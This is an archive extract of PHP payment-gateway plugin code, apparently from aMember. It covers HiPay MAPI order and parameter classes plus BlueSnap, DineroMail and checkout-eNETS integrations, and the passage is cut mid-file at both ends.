array */ public function getOrderTotalAmountHT() { return $this->_orderTotalAmountHT; } /** * Retourne le montant total TTC de la commande * * @return array */ public function getOrderTotalAmount() { return $this->_orderTotalAmount; } /** * Retourne le montant total des affiliés * * @return array */ public function getAffiliateTotalAmount() { return $this->_affiliateTotalAmount; } /** * Retourne les objets order * * @return array */ public function getOrder() { return $this->order; } /** * Retourne les objets items * * @return array */ public function getItems() { return $this->items; } /** * Retourne l'objet paramètre * * @return HIPAY_MAPI_PaymentParams */ public function getPaymentParams() { return $this->paymentParams; } /** * Calcul les montants à redistribuer aux affiliés * */ protected function computeAffiliates() { foreach($this->order as $k=>$order) { $totalAmount=0; $tAffiliate = $order->getAffiliate(); foreach($tAffiliate as $key=>$affiliate) { $baseAmount=0; $percentageTarget= $affiliate->getPercentageTarget(); if ($percentageTarget>0) { if ($percentageTarget & HIPAY_MAPI_TTARGET_ITEM) $baseAmount+=$this->_itemsTotalAmount[$k]; if ($percentageTarget & HIPAY_MAPI_TTARGET_TAX) $baseAmount+=$this->_taxItemsAmount[$k]+$this->_taxFixedCostAmount[$k]+$this->_taxInsuranceAmount[$k]+$this->_taxShippingAmount[$k]; if ($percentageTarget& HIPAY_MAPI_TTARGET_INSURANCE) $baseAmount+=$order->getInsuranceAmount(); if ($percentageTarget & HIPAY_MAPI_TTARGET_FCOST) $baseAmount+=$order->getFixedCostAmount(); if ($percentageTarget & HIPAY_MAPI_TTARGET_SHIPPING) $baseAmount+=$order->getShippingAmount(); $tAffiliate[$key]->setBaseAmount($baseAmount); } else { $baseAmount = $affiliate->getValue(); $tAffiliate[$key]->setBaseAmount($baseAmount); } $totalAmount+=$tAffiliate[$key]->getAmount(); $tAffiliate[$key]->lock(); } $this->_affiliateTotalAmount[$k]=$totalAmount; if ($totalAmount > $this->_orderTotalAmount[$k]) { throw new Exception('Le montant à redistribuer est supérieur au montant de la transaction ('.$totalAmount.'/'.$this->_orderTotalAmount.')'); } } } } ?>PK\^  payment/hipay/mapi/mapi_defs.phpnu[PK\ */ protected $informations; /** * Décrit si la case cgu est cochée par défaut ou non * * @var int */ protected $cguChecked; /** * Assigne le login et le mot de passe * * @param string $login * @param string $password * @return boolean */ public function setLogin($login,$password) { if ($this->_locked) return false; $login = HIPAY_MAPI_UTF8::forceUTF8($login); if (empty($login)) return false; $password = HIPAY_MAPI_UTF8::forceUTF8($password); if (empty($password)) return false; $this->login=$login; $this->password=$password; return true; } /** * Retourne le login * * @return string */ public function getLogin() { return $this->login; } /** * Retourne le mot de passe * * @return string */ public function getPassword() { return $this->password; } /** * Assigne les comptes sur lesquels seront versés les différents montants * * @param int $itemAccount * @param int $taxAccount * @param int $insuranceAccount * @param int $fixedCostAccount * @param int $shippingCostAccount * @return boolean */ public function setAccounts($itemAccount,$taxAccount=0,$insuranceAccount=0,$fixedCostAccount=0,$shippingCostAccount=0) { if ($this->_locked) return false; $itemAccount=(int)$itemAccount; $taxAccount=(int)$taxAccount; $insuranceAccount=(int)$insuranceAccount; $fixedCostAccount=(int)$fixedCostAccount; $shippingCostAccount=(int)$shippingCostAccount; if ($itemAccount<=0) return false; if ($taxAccount<=0) $taxAccount=$itemAccount; if ($insuranceAccount<=0) $insuranceAccount=$itemAccount; if ($fixedCostAccount<=0) $fixedCostAccount=$itemAccount; if ($shippingCostAccount<=0) $shippingCostAccount=$itemAccount; $this->itemAccount = $itemAccount; $this->taxAccount = $taxAccount; $this->insuranceAccount = $insuranceAccount; $this->fixedCostAccount = $fixedCostAccount; $this->shippingCostAccount = $shippingCostAccount; return true; } /** * Retourne le numéro de compte sur lequel sera versé * le montant de produits * * @return int */ public function getItemAccount() { return $this->itemAccount; } /** * Retourne le numéro de compte sur lequel sera versé * le montant des taxes * * @return int */ public function getTaxAccount() { return $this->taxAccount; } /** * Retourne le numéro de compte sur lequel sera versé * le montant des assurances * * @return int */ public function getInsuranceAccount() { return $this->insuranceAccount; } /** * Retourne le numéro de compte sur lequel sera versé * le montant des coûts fixes * * @return int */ public function getFixedCostAccount() { return $this->fixedCostAccount; } /** * Retourne le numéro de compte sur lequel sera versé * le montant des frais d'envoi * * @return int */ public function getShippingCostAccount() { return $this->shippingCostAccount; } /** * Assigne la lange par défaut (AZ_az = pays_langue) * * @param string $defaultLang * @return boolean */ public function setDefaultLang($defaultLang) { if ($this->_locked) return false; if (!preg_match('#^[A-Z]{2}_[a-z]{2}$#',$defaultLang)) return false; $this->defaultLang=$defaultLang; return true; } /** * Retourne la langue par défaut * * @return string */ public function getDefaultLang() { return $this->defaultLang; } /** * Défini le type d'interface de paiement * * @param string $media * @return boolean */ public function setMedia($media) { if ($this->_locked) return false; if (!preg_match('#^[A-Z]+$#',$media)) return false; $this->media=$media; return true; } /** * Retourne le type d'interface de paiement * * @return string */ public function getMedia() { return $this->media; } /** * Défini le public visé * * @param string $rating * @return boolean */ public function setRating($rating) { if ($this->_locked) return false; $rating = trim(substr($rating,0,HIPAY_MAPI_MAX_RATING_LENGTH)); if ($rating=='') return false; $this->rating=$rating; return true; } /** * Retourne le type de public visé * * @return string */ public function getRating() { return $this->rating; } /** * Défini si le paiement est simple ou récurrent * * @param int $paymentMethod * @return boolean */ public function setPaymentMethod($paymentMethod) { if ($this->_locked) { return false; } $paymentMethod = (int)$paymentMethod; if ($paymentMethod!=HIPAY_MAPI_METHOD_SIMPLE && $paymentMethod!=HIPAY_MAPI_METHOD_MULTI) return false; $this->paymentMethod=$paymentMethod; return true; } /** * Retourne le type de paiement (simple ou récurrent) * * @return int */ public function getPaymentMethod() { return $this->paymentMethod; } /** * détermine si la valeur du champ cgu est checkée par défaut * * @return int */ public function getCguChecked() { return $this->cguChecked; } /** * Défini si la case cgu est cochée ou non par défaut * * @param boolean $value * @return int */ public function setCguChecked($value) { if($value === true || $value === '1') $value=1; if($value === false || $value === '0') $value=0; if ($value !== 0 && $value !== 1) return false; $this->cguChecked = $value; return true; } /** * Défini le délai de capture * * @param int $captureDay * @return boolean */ public function setCaptureDay($captureDay) { if ($this->_locked) return false; $captureDay = (int)$captureDay; if (($captureDay!=HIPAY_MAPI_CAPTURE_MANUAL && $captureDay!=HIPAY_MAPI_CAPTURE_IMMEDIATE && $captureDay<=0) || $captureDay>HIPAY_MAPI_CAPTURE_MAX_DAYS) return false; $this->captureDay=$captureDay; return true; } /** * Retourne le délai de capture * * @return int */ public function getCaptureDay() { return $this->captureDay; } /** * Défini la devise * * @param string $currency * @return boolean */ public function setCurrency($currency) { if ($this->_locked) return false; if (!preg_match('#^[A-Z]{3}$#',$currency)) return false; $this->currency = $currency; return true; } /** * Retourne la devise * * @return string */ public function getCurrency() { return $this->currency; } /** * Défini l'identifiant du groupe statistique auquel appartient ce paiement * * @param int $statsGroupId * @return boolean */ public function setStatsGroupId($statsGroupId) { if ($this->_locked) return false; $statsGroupId=(int)$statsGroupId; if ($statsGroupId<0) return false; $this->statsGroupId=$statsGroupId; return true; } /** * Retourne l'identifiant du groupe statistique auquel appartient ce paiement * * @return int */ public function getStatsGroupId() { return $this->statsGroupId; } /** * Défini l'identifiant de cette vente chez le marchand * * @param string $idForMerchant * @return boolean */ public function setIdForMerchant($idForMerchant) { if ($this->_locked) return false; $this->idForMerchant=$idForMerchant; return true; } /** * Retourne l'identifiant de la vente pour le marchand * * @return string */ public function getIdForMerchant() { return $this->idForMerchant; } /** * Défini l'identifiant du site marchand * * @param int $merchantSiteId * @return boolean */ public function setMerchantSiteId($merchantSiteId) { if ($this->_locked) return false; $merchantSiteId=(int)$merchantSiteId; if ($merchantSiteId<0) return false; $this->merchantSiteId=$merchantSiteId; return true; } /** * Retourne l'identifiant du site marchand * * @return int */ public function getMerchantSiteId() { return $this->merchantSiteId; } /** * Assigne des données marchandes * * @param string $merchantDatas * @return boolean */ public function setMerchantDatas($key,$merchantDatas) { if ($this->_locked) return false; if ($key=='') return false; $merchantDatas=substr($merchantDatas,0,HIPAY_MAPI_MAX_MDATAS_LENGTH); $this->merchantDatas[$key]=$merchantDatas; return true; } /** * Retourne les données marchandes * * @return array */ public function getMerchantDatas() { return $this->merchantDatas; } /** * Assigne l'url à appeller si le paiement est ok * * @param string $url_ok * @return unknown */ public function setUrlOk($url_ok) { if ($this->_locked) return false; $url_ok = trim($url_ok); if (!HIPAY_MAPI_UTILS::checkURL($url_ok) && $url_ok!='') return false; $this->url_ok=$url_ok; return true; } /** * Retourne l'url_ok * * @return string */ public function getUrlOk() { return $this->url_ok; } /** * Assigne l'url à appeller si le paiement n'est pas ok * * @param string $url_nok * @return unknown */ public function setUrlNok($url_nok) { if ($this->_locked) return false; $url_nok = trim($url_nok); if (!HIPAY_MAPI_UTILS::checkURL($url_nok) && $url_nok!='') return false; $this->url_nok=$url_nok; return true; } /** * Retourne l'url_nok * * @return string */ public function getUrlNok() { return $this->url_nok; } /** * Assigne l'url à appeller si le paiement est annulé * * @param string $url_cancel * @return boolean */ public function setUrlCancel($url_cancel) { if ($this->_locked) return false; $url_cancel = trim($url_cancel); if (!HIPAY_MAPI_UTILS::checkURL($url_cancel) && $url_cancel!='') return false; $this->url_cancel=$url_cancel; return true; } /** * Retourne l'url_cancel * * @return string */ public function getUrlCancel() { return $this->url_cancel; } /** * Assigne l'url à appeller pour notifier le paiement * * @param string $url_cancel * @return boolean */ public function setUrlAck($url_ack) { if ($this->_locked) return false; $url_ack = trim($url_ack); if (!HIPAY_MAPI_UTILS::checkURL($url_ack) && $url_ack!='') return false; $this->url_ack=$url_ack; return true; } /** * Retourne l'url_ack * * @return string */ public function getUrlAck() { return $this->url_ack; } /** * Assigne le mot clé d'acquittement * * @param string $ack_wd * @return boolean */ public function setAckWd($ack_wd) { if ($this->_locked) return false; $ack_wd=trim($ack_wd); if (strlen($ack_wd)>HIPAY_MAPI_MAX_ACKWD_LENGTH) return false; $this->ack_wd=$ack_wd; return true; } /** * Retourne le mot clé d'acquittement * * @return string */ public function getAckWd() { return $this->ack_wd; } /** * Assigne l'adresse email de notification de paiement * * @param string $email_ack * @return boolean */ public function setEmailAck($email_ack) { if ($this->_locked) return false; $email_ack=trim($email_ack); if (strlen($email_ack)>HIPAY_MAPI_MAX_ACKMAIL_LENGTH || (!HIPAY_MAPI_UTILS::checkemail($email_ack) && $email_ack!='')) return false; $this->email_ack=$email_ack; return true; } /** * Retourne l'email de notification * * @return string */ public function getEmailAck() { return $this->email_ack; } /** * Assigne la couleur de fond de l'interface (#XXXXXX) * * @param string $bg_color * @return boolean */ public function setBackgroundColor($bg_color) { if ($this->_locked) return false; $bg_color = trim($bg_color); if (!preg_match('#^\#([0-9a-f]){6}$#i', $bg_color) && $bg_color != '') return false; $this->bg_color = $bg_color; return true; } /** * Retourne la couleur de fond de l'interface * * @return string */ public function getBackgroundColor() { return $this->bg_color; } /** * Assigne l'url du logo du marchand * * @param string $logo_url * @return boolean */ public function setLogoUrl($logo_url) { if ($this->_locked) return false; $logo_url = trim($logo_url); if (!HIPAY_MAPI_UTILS::checkURL($logo_url) && $logo_url!='') return false; $this->logo_url=$logo_url; return true; } /** * Retourne l'url du logo du marchand * * @return string */ public function getLogoUrl() { return $this->logo_url; } /** * Assigne le login par défaut à utiliser pour le paiement * * @param string $login * @return boolean */ public function setIssuerAccountLogin($login) { if ($this->_locked) return false; $login = trim(strtolower($login)); $this->issuerAccountLogin=$login; return true; } /** * Retourne le login du payeur par défaut * * @return string */ public function getIssuerAccountLogin() { return $this->issuerAccountLogin; } /** * Assigne une description alternative du marchand * * @param string $desc * @return boolean */ public function setMerchantDescription($desc) { if ($this->_locked) return false; $desc = trim($desc); $this->merchantDescription=$desc; return true; } /** * Retourne le login du payeur par défaut * * @return string */ public function getMerchantDescription() { return $this->merchantDescription; } /** * Assigne l'identifiant de boutique * * @param integer $name * @return boolean */ public function setShopId($id) { if ($this->_locked) return false; $this->shopId=$id; return true; } /** * Retourne l'id de boutique * * @return integer */ public function getShopId() { return $this->shopId; } /** * set informations about the order * * @param $informations */ public function setInformations($informations) { $this->informations = $informations; } /** * return informations about the order * * @return String */ public function getInformations() { return $this->informations; } /** * Assigne la locale à utiliser sur les pages de paiement * * @param string $locale * @return boolean */ public function setLocale($locale) { if ($this->_locked) return false; $locale = trim($locale); if (strlen($locale) != 5) return false; if (! preg_match("/^[a-z]{2}_[A-Z]{2}$/", $locale)) return false; $this->locale=$locale; return true; } /** * Retourne la locale * * @return string */ public function getLocale() { return $this->locale; } /** * Vérifie que l'objet est correctement initialisé * * @return boolean */ public function check() { if ($this->login=='') throw new Exception('Nom d\'utilisateur manquant'); if ($this->itemAccount<=0 || $this->taxAccount<=0 || $this->insuranceAccount <=0 || $this->fixedCostAccount<=0 || $this->shippingCostAccount<=0) throw new Exception('Numéros de compte invalides'); if ($this->rating=='') throw new Exception('Type de public visé invalide'); if ($this->paymentMethod<0) throw new Exception('Type de paiement invalide'); if ($this->captureDay==-100) throw new Exception('Délai de capture invalide '); if ($this->currency=='') throw new Exception('Devise non-définie'); if ($this->idForMerchant<0) throw new Exception('ID chez le marchand manquant'); if ($this->idForMerchant>0) if ($this->password=='') throw new Exception('Mot de passe manquant'); if ($this->statsGroupId<0) throw new Exception('ID groupe est négatif'); if ($this->merchantSiteId<0) throw new Exception('ID du site marchand manquant'); return true; } protected function init() { $this->login=''; $this->password=''; $this->itemAccount=0; $this->taxAccount=0; $this->insuranceAccount=0; $this->fixedCostAccount=0; $this->shippingCostAccount=0; $this->defaultLang=HIPAY_MAPI_DEFLANG; $this->media=HIPAY_MAPI_DEFMEDIA; $this->rating=''; $this->paymentMethod=-1; $this->captureDay=-100; $this->currency=''; $this->idForMerchant=-1; $this->statsGroupId=0; $this->merchantSiteId=-1; $this->merchantDatas=array(); $this->url_ok=''; $this->url_nok=''; $this->url_cancel=''; $this->url_ack=''; $this->ack_wd=''; $this->email_ack=''; $this->bg_color=''; $this->logo_url=''; $this->issuerAccountLogin=''; $this->locale=''; $this->cguChecked=0; } function __construct() { $this->init(); parent::__construct(); } } ?>PK\?['payment/hipay/mapi/mapi_installment.phpnu[_locked) return false; $price = sprintf('%.02f',(float)$price); if ($price<0) return false; $this->price=$price; return true; } /** * Retourne le montant HT * * @return float */ public function getPrice() { return $this->price; } /** * Défini s'il s'agit du premier paiement ou des suivants et le délai de déclenchement * * @param boolean $first * @param string $paymentDelay * @return boolean */ public function setFirst($first,$paymentDelay) { if ($this->_locked) return false; if (!is_bool($first)) return false; $paymentDelay=trim($paymentDelay); if ($first) { if (!preg_match("#[0-9]+[HDM]#",$paymentDelay)) { return false; } } else { if (!preg_match("#[0-9]+[DM]#",$paymentDelay)) { return false; } } $num = (int)substr($paymentDelay,0,strlen($paymentDelay)-1); if (($num<1 && !$first) || ($num<0 && $first) || $num>365) { return false; } $this->first=$first; $this->paymentDelay=$paymentDelay; return true; } /** * Assigne les taxes s'appliquant à ce paiement * * @param array $tax * @return boolean */ public function setTax($tax) { if ($this->_locked) return false; if (!HIPAY_MAPI_UTILS::is_an_array_of($tax,'HIPAY_MAPI_Tax')) return false; foreach ($tax as $obj) $this->tax[]= clone $obj; return true; } /** * assigne le timestamp du premier paiement ou des paiements récurrents * */ public function setDelayTS( $baseTS=0 ) { if( (int)$baseTS <= 0 ) { $baseTS = time(); } switch( substr($this->paymentDelay, -1, 1) ) { case 'd': case 'D': $unit='day'; break; case 'm': case 'M': $unit='month'; break; case 'h': case 'H': default : $unit='hour'; break; } $this->_delayTS = strtotime( '+'.substr($this->paymentDelay, 0, -1).' '.$unit, $baseTS ); } /** * Retourne les taxes s'appliquant à ce paiement * * @return array */ public function getTax() { return $this->tax; } /** * Retourne s'il s'agit du premier paiement * * @return boolean */ public function getFirst() { return $this->first; } /** * Retourne le délai de déclenchement * * @return string */ public function getPaymentDelay() { return $this->paymentDelay; } /** * retourne le timestamp du premier paiement * */ public function getDelayTS() { return $this->_delayTS; } /** * Vérifie si l'objet est correctement initialisé * * @return float */ public function check() { if ($this->price<0) throw new Exception('Montant invalide ou pas initilisé'); if (!HIPAY_MAPI_UTILS::is_an_array_of($this->tax,'HIPAY_MAPI_Tax')) throw new Exception('Taxes invalides ou pas initialisées'); foreach($this->tax as $obj) { if (!$obj->check()) return false; } if (!is_bool($this->first)) throw new Exception('Premier paiement ou suivant n\'est pas initialisé'); return true; } protected function init() { $this->price = -1; $this->tax = array(); $this->first = ''; $this->paymentDelay = ''; $this->_delayTS = ''; } function __construct() { $this->init(); parent::__construct(); } } ?>PK\payment/bluesnap.phpnu[addSelect("testing") ->setLabel("test Mode Enabled"); $s->addOption("Live account", self::MODE_LIVE); $s->addOption("Sandbox account", self::MODE_SANDBOX); // $s->addOption("Account in test mode", self::MODE_TEST); } public function init() { parent::init(); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('bluesnap_contract_id', "BlueSnap Contract ID", "You must enter the contract id of BlueSnap product.
    BlueSnap contract must have the same settings as amember product.")); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form((($this->getConfig('testing') == self::MODE_SANDBOX) ? self::TESTING_URL : self::URL)); $a->contractId = $invoice->getItem(0)->getBillingPlanData("bluesnap_contract_id"); $a->custom1 = $invoice->public_id; $a->member_id = $invoice->user_id; $a->currency = strtoupper($invoice->currency); $a->firstName = $invoice->getFirstName(); $a->lastName = $invoice->getLastName(); $a->email = $invoice->getEmail(); $a->overridePrice = sprintf("%.2f", $invoice->first_total); $a->overrideRecurringPrice = sprintf("%.2f", $invoice->second_total); if ($this->getConfig('testing') == self::MODE_TEST) { $a->testMode = Y; } $a->filterEmpty(); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { switch ($request->get("transactionType")) { case Am_Paysystem_Transaction_Bluesnap::CHARGE : case Am_Paysystem_Transaction_Bluesnap::RECURRING : case Am_Paysystem_Transaction_Bluesnap::AUTH_ONLY : return new Am_Paysystem_Transaction_Bluesnap_Charge($this, $request, $response, $invokeArgs); case Am_Paysystem_Transaction_Bluesnap::CANCELLATION : return new Am_Paysystem_Transaction_Bluesnap_Cancellation($this, $request, $response, $invokeArgs); case Am_Paysystem_Transaction_Bluesnap::REFUND : return new Am_Paysystem_Transaction_Bluesnap_Refund($this, $request, $response, $invokeArgs); case Am_Paysystem_Transaction_Bluesnap::CANCELLATION_REFUND : return new Am_Paysystem_Transaction_Bluesnap_Cancellation_Refund($this, $request, $response, $invokeArgs); case Am_Paysystem_Transaction_Bluesnap::CONTRACT_CHANGE : return new Am_Paysystem_Transaction_Bluesnap_Contract_Change($this, $request, $response, $invokeArgs); default : return null; } } public function getRecurringType() { return self::REPORTS_REBILL; } function getReadme() { return <<BlueSnap payment plugin configuration Up to date instructions can be found at http://www.amember.com/docs/Plimus_Plugin_Configuration CUT; } public function canAutoCreate() { return true; } } class Am_Paysystem_Transaction_Bluesnap extends Am_Paysystem_Transaction_Incoming { protected $_autoCreateMap = array( 'name_f' => 'firstName', 'name_l' => 'lastName', 'email' => 'email', 'street' => 'address1', 'zip' => 'zipCode', 'state' => 'state', 'country' => 'country', 'city' => 'city', 'user_external_id' => 'accountId', 'invoice_external_id' => 'accountId', ); const REFUND = 'REFUND'; const CHARGE = 'CHARGE'; const RECURRING = 'RECURRING'; const AUTH_ONLY = 'AUTH_ONLY'; const CANCELLATION_REFUND = 'CANCELLATION_REFUND'; const CANCELLATION = 'CANCELLATION'; const CONTRACT_CHANGE = 'CONTRACT_CHANGE'; protected $ip = array( array('62.216.234.196', '62.216.234.222'), array('72.20.107.242', '72.20.107.250'), array('209.128.93.97', '209.128.93.110'), array('209.128.93.225', '209.128.93.255'), '62.216.234.216', '209.128.93.254', '209.128.93.98', '38.99.111.60', '38.99.111.160', '209.128.93.232', '62.216.234.196', '38.99.111.50', '38.99.111.150' ); public function autoCreateGetProducts() { $item_number = $this->request->get('contr_id', $this->request->get('contractId')); if (empty($item_number)) return; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('bluesnap_contract_id', $item_number); if ($billing_plan) return array($billing_plan->getProduct()); } public function findInvoiceId() { return $this->request->get('custom1'); } public function getUniqId() { return $this->request->get("referenceNumber"); } public function validateSource() { $this->_checkIp($this->ip); if (($this->plugin->getConfig('testing') != Am_Paysystem_Bluesnap::MODE_TEST) && ($this->request->get('testMode') == 'Y')) { throw new Am_Exception_Paysystem_TransactionInvalid("Received test IPN message but test mode is not enabled!"); } return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } } class Am_Paysystem_Transaction_Bluesnap_Charge extends Am_Paysystem_Transaction_Bluesnap { public function validateTerms() { $amount = ($this->invoice->currency == 'USD') ? $this->request->get('invoiceAmountUSD') : $this->request->get('invoiceChargeAmount'); $message = $this->request->get('transactionType'); return ($amount == (($message == self::CHARGE) || ($message == self::AUTH_ONLY) ? $this->invoice->first_total : $this->invoice->second_total)); } public function processValidated() { $this->invoice->addPayment($this); } } class Am_Paysystem_Transaction_Bluesnap_Cancellation extends Am_Paysystem_Transaction_Bluesnap { public function processValidated() { $this->invoice->setCancelled(true); } } class Am_Paysystem_Transaction_Bluesnap_Refund extends Am_Paysystem_Transaction_Bluesnap { public function processValidated() { $this->invoice->addRefund($this, $this->getReceiptId(), $this->getAmount()); } } class Am_Paysystem_Transaction_Bluesnap_Cancellation_Refund extends Am_Paysystem_Transaction_Bluesnap { public function processValidated() { $this->invoice->setCancelled(true); $this->invoice->addRefund($this, $this->getReceiptId(), $this->getAmount()); } } class Am_Paysystem_Transaction_Bluesnap_Contract_Change extends Am_Paysystem_Transaction_Bluesnap { public function processValidated() { throw new Am_Exception_Paysystem_NotImplemented("Not implemented"); } }PK\XXpayment/dineromail.phpnu[addText("email")->setLabel("Your E-mail\n" . 'received from DineroMail'); $form->addText("merchant")->setLabel("Your merchant identifier\n" . 'received from DineroMail'); $form->addText("PIN")->setLabel("Your Pin\n" . 'recieved from DineroMail'); $form->addText("secret")->setLabel("Your password\n" . 'DM -> My account -> Config Ipn -> Password'); $form->addSelect("country", array(), array('options' => array( '1' => 'Argentina', '2' => 'Brazil', '3' => 'Chile', '4' => 'Mexico' )))->setLabel('Merchant Country'); $form->addSelect("language", array(), array('options' => array( 'en' => 'English', 'es' => 'Spanish', 'pt' => 'Portuguese' )))->setLabel('Site Language'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form(self::URL); $vars = array( 'MERCHANT' => $this->getConfig('email'), 'COUNTRY_ID' => $this->getConfig('country'), 'PAYMENT_METHOD_AVAILABLE' => 'all', 'TRANSACTION_ID' => $invoice->public_id, ); $i = '1'; foreach($invoice->getItems() as $item){ //Creating new format without dot for $item->first_price $price = str_replace('.','',$item->first_total); $vars['ITEM_NAME_'.$i] = $item->item_title; $vars['ITEM_CODE_'.$i] = $item->item_id; $vars['ITEM_AMMOUNT_'.$i] = $price; $vars['ITEM_QUANTITY_'.$i] = $item->qty; $vars['ITEM_CURRENCY_'.$i] = $item->currency; $i++; } $vars['CURRENCY'] = strtoupper($invoice->currency); foreach($vars as $k=>$v){ $a->__set($k,$v); } $a->__set('BUYER_FNAME', $invoice->getFirstName()); $a->__set('BUYER_LNAME', $invoice->getLastName()); $a->__set('BUYER_EMAIL', $invoice->getEmail()); $a->__set('BUYER_PHONE', $invoice->getPhone()); $a->__set('BUYER_STREET', $invoice->getStreet()); $a->__set('BUYER_STATE', $invoice->getState()); $a->__set('BUYER_CITY', $invoice->getCity()); $a->__set('BUYER_COUNTRY', $invoice->getCountry()); $a->__set('BUYER_ZIP_CODE', $invoice->getZip()); $a->__set('BUYER_CITY', $invoice->getCity()); $a->__set('BUYER_STATE', $invoice->getState()); $a->__set('LANGUAGE', $this->getConfig('language', 'es')); $result->setAction($a); } function calculateHash($vars){ $hash_src = ''; foreach($vars as $k=>$v){ if(is_array($v)){ foreach($v as $vv){ $hash_src .= strlen(htmlentities($vv)).htmlentities($vv); } }else $hash_src .= strlen(htmlentities($v)).htmlentities($v); } return hash_hmac('md5', $hash_src, $this->getConfig('secret')); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Dineromail($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOTHING; } public function getSupportedCurrencies() { return array('ARS', 'MXN', 'CLP','BRL' ,'USD'); } function getReadme(){ return <<DineroMail plugin configuration Configure IPN url in your account: %root_surl%/amember/payment/dineromail/ipn CUT; } } class Am_Paysystem_Transaction_Dineromail extends Am_Paysystem_Transaction_Incoming { const SUCCESS = '1'; public function findInvoiceId() { $doc = $this->getDoc(); $message = $doc->xpath('//OPERACION/NUMTRANSACCION'); $inv_id = array_shift($message); return $inv_id; } public function getUniqId() { $doc = $this->getDoc(); $message = $doc->xpath('//OPERACION/ID'); $uni_id = array_shift($message); return $uni_id; } public function validateSource() { $ping = Dineromail_Ping::createFromRequest($this->request); $dineromail_request = new Dineromail_Request($this->plugin->getConfing('merchant'), $this->plugin->getConfig('secret'), $ping->getOperationList()); $this->response = $dineromail_request->getPayments(); $doc = $this->getDoc(); $message = $doc->xpath('//OPERACION/NUMTRANSACCION'); if(false === $message){ throw new Am_Exception_Paysystem_TransactionSource('Recieved transaction id is empty'); } $numtransaccion = array_shift($message); if($numtransaccion != $this->getInvoice()->public_id){ throw new Am_Exception_Paysystem_TransactionSource('Recieved transaction id is not equal to sended'); } return true; } public function validateStatus() { $doc = $this->getDoc(); $message = $doc->xpath('//ESTADOREPORTE'); if (false === $message) { throw new Am_Exception_Paysystem_TransactionInvalid('Malformed response.'); } $code = array_shift($message); if (self::SUCCESS != $code) { throw new Am_Exception_Paysystem_TransactionInvalid('Error response with code: ' . $code); } return true; } public function validateTerms() { $doc = $this->getDoc(); $message = $doc->xpath('//OPERACION/MONTO'); $monto = array_shift($message); $this->assertAmount($this->invoice->first_total, $monto); return true; } private function getDoc() { return new SimpleXMLElement($this->response->getBody()); } } class Dineromail_Ping { const REQUEST_PARAM = 'Notification'; private $data; public function __construct($data) { $this->_data = new DOMDocument($data); $this->_data->loadXML($data); } public function getOperationList() { $xpath = new DOMXPath($this->_data); $ops = $xpath->query('//operacion/id/text()'); $result = array(); for($i = 0; $i<$ops->length; $i++){ $result[] = $ops->item($i)->nodeValue; } return $result; } public static function createFromRequest(Am_Mvc_Request $request) { return new self($request->getParam(self::REQUEST_PARAM)); } } class Dineromail_Request { const REQUEST_PARAM = 'DATA'; const SUCCESS = '1'; const URI = 'https://argentina.dineromail.com/Vender/Consulta_IPN.asp'; private $_accountNumber; private $_password; private $_payments; private $_response; public function __construct($accountNumber, $password, array $payments) { $this->_accountNumber = $accountNumber; $this->_password = $password; $this->_payments = $payments; } public function getPayments() { $this->_makeRequest(); return $this->_response; } private function _generatePost() { $res = ''; $res.= ''.$this->_accountNumber.''; $res.= ''; $res.= ''; $res.= ''.$this->_password.''; $res.= '1'; $res.= ''; foreach($this->_payments as $payment) { $res.= ''.$payment.''; } $res.= ''; $res.= ''; $res.= ''; $res.= ''; return $res; } private function _makeRequest() { $request = new Am_HttpRequest($this->URI, Am_HttpRequest::METHOD_POST); $request->addPostParameter(self::REQUEST_PARAM, $this->_generatePost()); $response = $request->send(); $this->_response = $response; } } PK\ۄ8{SSpayment/checkout-enets.phpnu[addText('merchantid') ->setLabel("Merchant ID\n" . 'This value is provided by gateway and this is used to authenticate a merchant.'); $form->addText('merchantpwd') ->setLabel("Merchant Password\n" . 'This value is provided by gateway and this is used to authenticate a merchant.'); $form->addText('gatewayurl')->setLabel('Gateway URL'); } public function getCurrencyCode(Invocie $invoice) { return array_search($invoice->currency, $this->getSupportedCurrencies())+1; } public function getSupportedCurrencies() { return array('SGD', 'HKD'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $xml = new SimpleXMLElement(''); $transactiondetails = $xml->addChild('transactiondetails'); $transactiondetails->addChild('merchantcode', $this->getConfig('merchantid')); $transactiondetails->addChild('merchantpwd', $this->getConfig('merchantpwd')); $transactiondetails->addChild('trackid', $invoice->public_id); $transactiondetails->addChild('customerip', $request->getClientIp()); $transactiondetails->addChild('udf1', $invoice->public_id); $transactiondetails->addChild('customerid', $invoice->getLogin()); $paymentdetails = $xml->addChild('paymentdetails'); $paymentdetails->addChild('paysource', 'enets'); $paymentdetails->addChild('amount', $invoice->first_total); $paymentdetails->addChild('currency', $invoice->currency); $paymentdetails->addChild('actioncode', 1); $notificationurls = $xml->addChild('notificationurls'); $notificationurls->addChild('successurl', $this->getReturnUrl()); $notificationurls->addChild('failurl', $this->getCancelUrl()); $shippingdetails = $xml->addChild('shippingdetails'); foreach(array( 'ship_address' => $invoice->getStreet(), 'ship_email' => $invoice->getEmail(), 'ship_postal' => $invoice->getZip(), 'ship_address2' => $invoice->getStreet1(), 'ship_city' => $invoice->getCity(), 'ship_state' => $invoice->getState(), 'ship_phone' => $invoice->getPhone(), 'ship_country' => $invoice->getCountry() ) as $k=>$v) $shippingdetails->addChild ($k, $v); $req = new Am_HttpRequest($this->getConfig('gatewayurl'), Am_HttpRequest::METHOD_POST); $req->setHeader('Content-type: text/xml; charset=utf-8') ->setHeader('Connection:close') ->setBody($xml->asXML()); $response = $req->send(); $resxml = @simplexml_load_string($response->getBody()); if(!($resxml instanceof SimpleXMLElement)) throw new Am_Exception_InputError('Incorrect Gateway response received!'); if(($paymenturl = (string)$resxml->transactionresponse->paymenturl)){ $a = new Am_Paysystem_Action_Redirect($paymenturl); $result->setAction($a); }else{ throw new Am_Exception_InputError('Incorrect Gateway response received! Got: '.((string) $resxml->responsedesc)); } } function getReadme(){ return <<xml = simplexml_load_string($request->getRawBody()); } public function getUniqId() { return 